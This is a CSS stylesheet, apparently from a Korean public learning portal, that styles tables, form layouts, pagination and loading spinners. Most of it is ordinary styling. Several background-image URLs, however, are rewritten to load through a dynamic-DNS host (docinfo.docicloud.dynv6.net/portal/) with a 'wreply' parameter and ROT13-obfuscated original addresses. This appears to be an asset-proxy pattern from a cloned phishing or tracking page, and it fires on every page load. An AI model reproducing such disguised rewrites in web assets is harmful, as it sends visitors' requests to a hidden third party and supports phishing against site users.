PROGRESS
----------------------------------------------------------*/
.progressBox {}
.progressBox .progress {position:relative; height:4px; margin:8px 0;}
.progressBox .progress:after {display:block; width:100%; height:4px; background:#eee; content:'';}
.progressBox .progress .progressbar {display:block; position:absolute; height:4px; background:#427bfd; transition:all 0.08s ease 0s;}
.progressBox .tools {font-size:12px;}

/* --------------------------------------------------------
TABLE
----------------------------------------------------------*/
.p-table {position: relative; width: 100%; border-collapse: collapse; margin: 2px 0 8px;}
.p-table thead tr:first-child th {border-top: 2px solid #222;}
.p-table th {padding: 13px 11px; background: #f6f6f6; color: #000; text-align: center; font-weight: 400; vertical-align: middle;}
.p-table td {padding: 11px; box-sizing: border-box; word-break: keep-all;}
.p-table td, .p-table th {border-bottom: 1px solid #d9d9d9;}
.privacy_bolder {color: #0000ff; font-size: 120%; font-weight: bold; font-style: normal; text-decoration: underline;}


.tableWrap {}
.tableWrap table {width:100%; color:#464646; font-size:14px; font-size:15px;}
.tableWrap table caption {display:none;}
.tableWrap table tbody {}
.tableWrap table tr th,
.tableWrap table tr td {position:relative; height:40px; padding:0 10px; overflow:hidden; border:0; text-align:left; text-overflow:ellipsis; vertical-align:middle; white-space:nowrap;}
.tableWrap table tr td .linkBox {display:inline-block; margin-left:10px; padding:0 10px; border:1px solid #b4b4b4; border-radius:6px; font-size:15px; vertical-align:top;}
.tableWrap table thead tr th {border-bottom:1px solid #DBDBDB; font-size:13px; font-weight:bold;}
.tableWrap table tbody tr td {border-top:1px solid #f0f0f0;}
.tableWrap table tr th.left, .tableWrap table tr td.left {text-align:left;}
.tableWrap table tr th.center, .tableWrap table tr td.center {text-align:center;}
.tableWrap table tr th.right, .tableWrap table tr td.right {text-align:right;}
.tableWrap.fixed table {table-layout:fixed;}
.tableWrap.even table tbody tr:nth-child(even) {background:#fafafa;}
.tableWrap.odd  table tbody tr:nth-child(odd) {background:#fafafa;}
.tableWrap.box table {border:1px solid #DBDBDB;}
.tableWrap.line table thead tr th, .tableWrap.line table tbody tr td {border-left:1px solid #f0f0f0;}
.tableWrap.line table thead tr th:first-child, .tableWrap.line table tbody tr td:first-child {border-left:0px;}

/* tableResponsive */
.tableResponsive.nonRespons {overflow:hidden;}
.tableResponsive.nonEllipsis {}
.tableResponsive.nonEllipsis table tr td {white-space:inherit;}
.tableResponsive {border-top:2px solid #398edd;}
.tableResponsive table {width:100%; max-width:100%; color:#464646; table-layout:fixed;}
.tableResponsive table tbody {}
.tableResponsive table tr th,
.tableResponsive table tr td {font-size:15px; padding:20px 10px; overflow:hidden; border:0; text-align:center; word-break:keep-all; /*text-overflow:ellipsis;*/ vertical-align:middle; /*white-space:nowrap;*/ border-bottom:1px solid #dde3e5;}
.tableResponsive table tr th {font-size:17px; padding:16px 10px; word-break:keep-all; }
.tableResponsive table tr th span { font-weight:500;}
.tableResponsive table tr th.left,
.tableResponsive table tr td.left {text-align:left;}
.tableResponsive table tr td .linkBox {display:inline-block; margin-left:10px; padding:0 10px; border:1px solid #b4b4b4; border-radius:6px; font-size:15px; vertical-align:top;}

.tableResponsive.lineBox {border-right:1px solid #d9d9d9;}
.tableResponsive.lineBox tr th,
.tableResponsive.lineBox tr td {font-size:18px; font-size:17px; padding:10px; overflow:hidden; border:0; text-align:center; /*text-overflow:ellipsis;*/ vertical-align:middle; /*white-space:nowrap;*/ border-bottom:1px solid #dde3e5;  border-left:1px solid #dde3e5; font-weight:400; line-height:24px;}
.tableResponsive.lineBox tr th {font-size:19px; font-size:17px; background:#f6f6f6; font-weight:400; line-height:24px;}

@media (max-width:990px) {
	/* tableResponsive */
	.tableResponsive {width:100%; overflow-x:auto; overflow-y:hidden;}
	.tableResponsive.nonEllipsis table tr th,
	.tableResponsive.nonEllipsis table tr td {padding:16px 0px;}
	.tableResponsive.lineBox tr th,
	.tableResponsive.lineBox tr td {font-size:15px; word-break:keep-all; }
	.tableResponsive table tr th.left,
    .tableResponsive table tr td.left { padding-left:10px;}
	/*
	.tableResponsive.lineBox tr th,
	.tableResponsive.lineBox tr td {font-size:16px; white-space:normal; line-height:18px; padding:6px;}
	*/
}

/* fakeTable */
.fakeTable {border-top:2px solid #398edd; margin-bottom:24px;}
.fakeTable dl {font-size:0; border-right:1px solid #dadada;}
.fakeTable dl dt,
.fakeTable dl dd {display:inline-block; vertical-align:top; height:53px; line-height:30px; font-size:18px; border-bottom:1px solid #dadada; padding:10px; box-sizing:border-box;}
.fakeTable dl dt,
.fakeTable dl dd {display:inline-block; vertical-align:top; height:53px; line-height:30px; font-size:18px; border-bottom:1px solid #dadada; padding:10px; box-sizing:border-box;}
.fakeTable dl dt label,
.fakeTable dl dt {font-size:18px; visibility:visible;}
.fakeTable dl dt {width:15%; text-align:center; font-weight:600; background: #f6f6f6; font-weight:400; border-left:1px solid #dadada; border-right:1px solid #dadada;}
.fakeTable dl dt.fonts { font-size:17px;}
.fakeTable dl dt .br {display:none;}
.fakeTable dl dd {width:calc(100% - 15%); overflow:hidden; font-weight:300; text-overflow:ellipsis;}
.fakeTable dt.h100, .fakeTable dd.h100 {height: 100px;}
.fakeTable dl dd select,
.fakeTable dl dd input {margin: -4px 0px;}
.fakeTable dl dd input.w50 {width: 50%;}
.fakeTable dl dd input[type=radio] {margin: -4px 5px -4px 10px; vertical-align:middle;}
.fakeTable dl dt.textarea,
.fakeTable dl dd.textarea {height:120px;}
a.refresh { width:35px; height:35px; display:inline-block; text-indent:-9999px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Svzt%2Serserfu.cat) no-repeat center center; vertical-align:middle; }

/* email */
.fakeTable dl dd .email {}
.fakeTable dl dd .email input {width:calc(60% - 4px); margin-right:4px;}
.fakeTable dl dd .email select {width:40%;}

/* birthday */
.fakeTable dl dd .birthday {}
.fakeTable dl dd .birthday span {display:inline-block; vertical-align:middle;}
.fakeTable dl dd .birthday span input[type="text"] {width:66px;}
.fakeTable dl dd .birthday span strong {font-weight:400; margin:0 4px;}
.fakeTable dl dd .birthday .optBox {margin-left:20px; display:inline-block; vertical-align:middle;}
.fakeTable dl dd .birthday .optBox .opt {display:inline-block; vertical-align:middle; margin:0 4px;}

.fakeTable dl.half dt {}
.fakeTable dl.half dd {width:calc(50% - 15%);}

/* idSearchBox */
.fakeTable dl .idSearchBox {width:calc(60% - 88px); margin:-4px 0;}
.fakeTable dl .idSearchBox input {width:calc(100% - 120px); margin-right:4px;}
.fakeTable dl .idSearchBox button {white-space: nowrap;}

/* addressBox */
.fakeTable dl .addressBox {width:calc(60% - 88px); margin:-4px 0;}
.fakeTable dl .addressBox input {width:calc(100% - 120px); margin-right:4px;}
.fakeTable dl .addressBox button {white-space: nowrap;}
.fakeTable dl .essential {font-size:16px; line-height:40px; color:#f4781f; font-weight:500; margin:-4px 10px 0;}

/* date */
.fakeTable dl dd .date {} 
.fakeTable dl dd .date:before {content:''; display:inline-block; vertical-align:middle; width:22px; height:23px; margin-right:8px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Sobneq%2SqngrVpb.cat) no-repeat;}
.fakeTable dl dd .time { margin-left:10px;}
.fakeTable dl dd .time:before {content:''; display:inline-block; vertical-align:middle; width:22px; height:23px; margin-right:8px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Sobneq%2SgvzrVpb.cat) no-repeat;}

/* addressBox */
.fakeTable dl.workColumn {}
.fakeTable dl.workColumn dt,
.fakeTable dl.workColumn dd {height:260px;}
.fakeTable dl.workColumn dd .work {font-size:0; display:block;}
.fakeTable dl.workColumn dd .work dl:first-child dd {border-left:1px solid #dadada;}
.fakeTable dl.workColumn dd .work dl {display:inline-block; vertical-align:top;}
.fakeTable dl.workColumn dd .work dl dt {display:block; width:100%; height:50px; border:0; background:#398edd; color:#fff;}
.fakeTable dl.workColumn dd .work dl dd {display:block; width:100%; height:60px;}
.fakeTable dl.workColumn dd .work dl dd input {text-align:center; font-size:18px;}

.fakeTable dl.workColumn dd .work.column_03 dl {width:33.3%;}
.fakeTable dl.workColumn dd .work.column_04 dl {width:25%;}
.fakeTable dl.workColumn dd .work.column_05 dl {width:20%;}

.fakeTable dl.workColumn_n {}
.fakeTable dl.workColumn_n dt,
.fakeTable dl.workColumn_n dd {height:370px;}
.fakeTable dl.workColumn_n.h190 dt,
.fakeTable dl.workColumn_n.h190 dd {height:190px;}
.fakeTable dl.workColumn_n dd .work {font-size:0; display:flex;}
.fakeTable dl.workColumn_n dd .work dl:first-child dd {border-left:1px solid #dadada;}
.fakeTable dl.workColumn_n dd .work dl {display:inline-block; vertical-align:top;}
.fakeTable dl.workColumn_n dd .work dl dt {display:block; width:100%; height:50px; border:0; background:#398edd; color:#fff;}
.fakeTable dl.workColumn_n dd .work dl dd {display:block; width:100%; height:60px;}
.fakeTable dl.workColumn_n dd .work dl dd input {text-align:center; font-size:18px;}

.fakeTable dl.workColumn_n dd .work.column_03 dl {width:33.3%;}
.fakeTable dl.workColumn_n dd .work.column_04 dl {width:25%;}
.fakeTable dl.workColumn_n dd .work.column_05 dl {width:20%;}


/* fakeTableBox */
.fakeTableBox {margin-bottom:50px;}
.fakeTableBox .title {font-size:21px; font-weight:500; color:#398ede; margin-bottom:10px;}

/* fakeTable2 */
.fakeTable2 {border-top:2px solid #398edd; margin-bottom:24px; border-right:1px solid #dadada;}
.fakeTable2 dl {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:flex-start;-webkit-justify-content:flex-start; -ms-flex-pack:start;}
.fakeTable2 dl dt {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:center;align-items:center; -webkit-justify-content:center; -webkit-align-items:center; -ms-flex-pack:center; -ms-flex-align:center; border-bottom:1px solid #dadada;}
.fakeTable2 dl dd {display:block; line-height:30px; font-size:18px; font-size:17px; border-bottom:1px solid #dadada; padding:10px; box-sizing:border-box;}
.fakeTable2 dl dt {width:26%; text-align:center; font-weight:600; font-size:19px; font-size:17px; background: #f6f6f6; font-weight:400; border-left:1px solid #dadada; border-right:1px solid #dadada;}
.fakeTable2 dl dd {width:calc(100% - 26%); overflow:hidden; font-weight:300; text-overflow:ellipsis; /*white-space:nowrap;*/ }
.fakeTable2 dl dd ul {}
.fakeTable2 dl dd ul li {padding-left:20px; position:relative; word-break:keep-all;}
.fakeTable2 dl dd ul li:before {content:''; display:block; font-size:0; width:3px; height:3px; background:#000; position:absolute; top:11px; left:6px;}

/*동아리 대표*/
.fakeTable dl.clubLeader_info{display:flex; flex-wrap:wrap; border-right:0;}
.fakeTable dl.clubLeader_info dt.tit{border-right:0; height:212px;}
.fakeTable dl.clubLeader_info .info_con{width:calc(100% - 15%);}
.fakeTable dl.clubLeader_info .half_con dd{width:calc(50% - 15%);}

@media (max-width:1180px) {
	.fakeTable dl dt, .fakeTable dl dd{word-break:keep-all; height:70px;}
	input[type=text], input[type=password]{height:50px;}
	.fakeTable dl dt {font-size:16px; line-height:20px; width:20%;}
	.fakeTable dl dt .br {display:block;}
	.fakeTable dl dd {width:calc(100% - 20%); font-size:16px; line-height:18px; white-space:normal; word-break:break-all;}
	.fakeTable dl.half dt {width:20%;}
	.fakeTable dl.half dd {width:calc(100% - 20%);}

	.fakeTable dl.mhrsize dt,
	.fakeTable dl.mhrsize dd {height:100px;}

	.fakeTable dl .idSearchBox {width:calc(100% - 0px);}
	.fakeTable dl .idSearchBox input {width:calc(100% - 80px);}
	.fakeTable dl .idSearchBox button {padding:0 14px; font-size:14px; font-size:15px;}

	.fakeTable dl .addressBox {width:calc(100% - 0px);}
	.fakeTable dl .addressBox input {width:calc(100% - 80px);}
	.fakeTable dl .addressBox button {padding:0 14px; font-size:14px; font-size:15px;}
	.fakeTable dl .essential {font-size:13px; line-height:20px; margin:10px 0 0; white-space:normal; word-break:break-all;}

	.fakeTable dl dd .birthday span input[type="text"] {width:60px;}
	.fakeTable dl dd .birthday .optBox {margin:20px 0 0 0}

	.fakeTable dl.workColumn dt {display:block; height:auto; width:100%; border-right:0;}
	.fakeTable dl.workColumn dd {height:230px; width:100%; padding: 4px 0; border-left: 1px solid #dadada;}
	.fakeTable dl.workColumn dd .work.column_03 dl,
	.fakeTable dl.workColumn dd .work.column_04 dl,
	.fakeTable dl.workColumn dd .work.column_05 dl {width:100%; margin-bottom: 1px;}

	.fakeTable dl.workColumn dd .work dl dt,
	.fakeTable dl.workColumn dd .work dl dd {width:25%; line-height: 34px; display:inline-block; vertical-align:top; height:50px; border:0 !important; padding: 10px 2px;}
	.fakeTable dl.workColumn dd .work dl dd input {font-size:13px; text-align:left; padding:0 4px;}

 
	.fakeTable dl.workColumn_n dt {display:block; height:auto; width:100%; border-right:0;}
	.fakeTable dl.workColumn_n dd  {height:410px; height:auto; width:100%; padding: 4px 0; border-left: 1px solid #dadada;}
	
	.fakeTable dl.workColumn_n.h190 dt {height:auto; width:100%; }
    .fakeTable dl.workColumn_n.h190 dd {height:auto; width:100%;}

	
	.fakeTable dl.workColumn_n dd .work.column_03 { height:300px !important;}
	.fakeTable dl.workColumn_n dd .work.column_03 dl,
	.fakeTable dl.workColumn_n dd .work.column_04 dl,
	.fakeTable dl.workColumn_n dd .work.column_05 dl {width:100%; margin-bottom: 1px;}

	.fakeTable dl.workColumn_n dd .work dl dt {width:100%; line-height: 34px; display:inline-block; vertical-align:top; height:50px; border:0 !important; padding: 10px 2px;}
	.fakeTable dl.workColumn_n dd .work dl dd { line-height: 34px; display:inline-block; vertical-align:top; height:50px; border:0 !important; padding: 10px 2px;}
	.fakeTable dl.workColumn_n dd .work dl dd input {font-size:13px; text-align:left; padding:0 4px;}
	.fakeTable dl.workColumn_n.h190 dd .work dl dd { width:50%;}

	/*동아리 대표*/
	.fakeTable dl.clubLeader_info dt.tit{width:100%; height:auto;}
	.fakeTable dl.clubLeader_info .info_con{width:200%;}
	.fakeTable dl.clubLeader_info .half_con dd{width:calc(100% - 20%);}

}

@media (max-width:990px) {	
    .fakeTable dl dt label,
    .fakeTable dl dt {font-size:15px; }
	.fakeTable dl dd .email { float:none;}
	.fakeTable dl dt.lined,
	.fakeTable dl dd.lined  {height:80px;}
	.fakeTable dl dt.lined2,
	.fakeTable dl dd.lined2  {height:100px;}
	.fakeTable dl dd .cBox { display:block; margin-left:0px; margin-top:10px;}
	 
	.fakeTable2 dl {display:block;}
	.fakeTable2 dl dt {display:block; width:calc(100% - -1px); padding:16px; text-align:left; box-sizing:border-box;}
	.fakeTable2 dl dd {display:block; width:calc(100% - -1px); border-left:1px solid #dadada; font-size:16px;}
	.fakeTable dl dd input  {margin: -4px 0 10px 0px;}
	
	
}
@media (max-width:768px) {
	.fakeTable dl dt, .fakeTable dl dd{word-break:break-all;}
	.fakeTable dl dt.textarea.m_txt, .fakeTable dl dd.textarea.m_txt{height:160px;}
	.fakeTable dl dt.textarea.w_100, .fakeTable dl dd.textarea.w_100{width:100%;}
	.w_100{width:100%;}
}
@media(max-width:400px){
	.fakeTable dl dt, .fakeTable dl dd{word-break:break-all;}
}
/* --------------------------------------------------------
pagination
----------------------------------------------------------*/

.pagination {margin:30px 0; font-size:0px; text-align:center; line-height:normal;}
.pagination a {display:inline-block; position:relative; width:42px; line-height:40px; height:40px; margin-left:-1px; background:#FFF; color:#767676; font-size:16px; text-decoration:none; text-align:center; vertical-align:middle; word-spacing:0px; letter-spacing:0px;}
.pagination a:focus,
.pagination a:hover {background:#eee; color:#767676;}
.pagination a.active {z-index:3; border:1px solid #36404b; background:#36404b; color:#fff;}
.pagination a.arrow {text-indent:-999em; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Sobneq%2Sobneq_cntvat.cat) no-repeat; border:1px solid #dbdbdb; overflow:hidden;}
.pagination a.arrow:focus,
.pagination a.arrow:hover {background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Sobneq%2Sobneq_cntvat.cat)#eee no-repeat;}
.pagination a.arrow.start {background-position:0 0;}
.pagination a.arrow.prev {background-position:0 -40px; margin-right:20px;}
.pagination a.arrow.next {background-position:0 -40px; transform:rotate(180deg); margin-left:20px;}
.pagination a.arrow.end {background-position:0 0; transform:rotate(180deg);}
.pagination.mobileOn {display:none;}
.pagination.mobileOn .pageNum {display:inline-block; vertical-align:middle; text-align:center; width:100px; font-size:21px;}
.pagination.mobileOn .pageNum strong {font-size:25px; color:#d44232;}

@media (max-width:990px) {
	/* eduRequest */
	.pagination.mobileOn {display:block;}
	.pagination.pcOn {display:none;}
	
}


/* --------------------------------------------------------
loading
----------------------------------------------------------*/
.loading {position:relative;}
.loading:before {position:absolute; z-index:9999; top:50%; left:50%; width:30px; height:30px; margin:-15px 0 0 -15px; border:4px solid transparent; border-color:rgba(255,255,255,0.2) #fff rgba(255,255,255,0.2) #FFF; border-radius:50%; content:""; animation:rotate-loading 1.0s linear 0s infinite normal;transform-origin:50% 50%;-webkit-animation:rotate-loading 1.0s linear 0s infinite normal; -webkit-transform-origin:50% 50%;}

.loading:after {position:absolute; z-index:9998; top:0px; left:0px; right:0px; bottom:0px; background:rgba(0,0,0,0.7); content:"";}

.loadingCircle {position:relative;}
.loadingCircle:before {position:absolute; z-index:9999; top:50%; left:50%; width:50px; height:50px; margin:-25px 0 0 -25px; border:4px solid transparent; border-radius:50%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Sybnqvat_fcvaare.cat) no-repeat; content:""; animation:rotate-loading 1.0s linear 0s infinite normal;transform-origin:50% 50%;-webkit-animation:rotate-loading 1.0s linear 0s infinite normal; -webkit-transform-origin:50% 50%;}

.loadingCircle:after {position:absolute; z-index:9998; top:0px; left:0px; right:0px; bottom:0px; background:rgba(0,0,0,0.7); content:"";}

@keyframes rotate-loading {
0% {transform:rotate(0deg);-webkit-transform:rotate(0deg); -o-transform:rotate(0deg); -moz-transform:rotate(0deg); -ms-transform:rotate(0deg);}
100% {transform:rotate(360deg);-webkit-transform:rotate(360deg); -o-transform:rotate(360deg); -moz-transform:rotate(360deg); -ms-transform:rotate(360deg);}
}

@-webkit-keyframes rotate-loading {
0% {transform:rotate(0deg);-webkit-transform:rotate(0deg); -o-transform:rotate(0deg); -moz-transform:rotate(0deg); -ms-transform:rotate(0deg);}
100% {transform:rotate(360deg);-webkit-transform:rotate(360deg); -o-transform:rotate(360deg); -moz-transform:rotate(360deg); -ms-transform:rotate(360deg);}
}

@keyframes rotate-loading {
0% {transform:rotate(0deg);-webkit-transform:rotate(0deg); -o-transform:rotate(0deg); -moz-transform:rotate(0deg); -ms-transform:rotate(0deg);}
100% {transform:rotate(360deg);-webkit-transform:rotate(360deg); -o-transform:rotate(360deg); -moz-transform:rotate(360deg); -ms-transform:rotate(360deg);}
}

@-webkit-keyframes rotate-loading {
0% {transform:rotate(0deg);-webkit-transform:rotate(0deg); -o-transform:rotate(0deg); -moz-transform:rotate(0deg); -ms-transform:rotate(0deg);}
100% {transform:rotate(360deg);-webkit-transform:rotate(360deg); -o-transform:rotate(360deg); -moz-transform:rotate(360deg); -ms-transform:rotate(360deg);}
}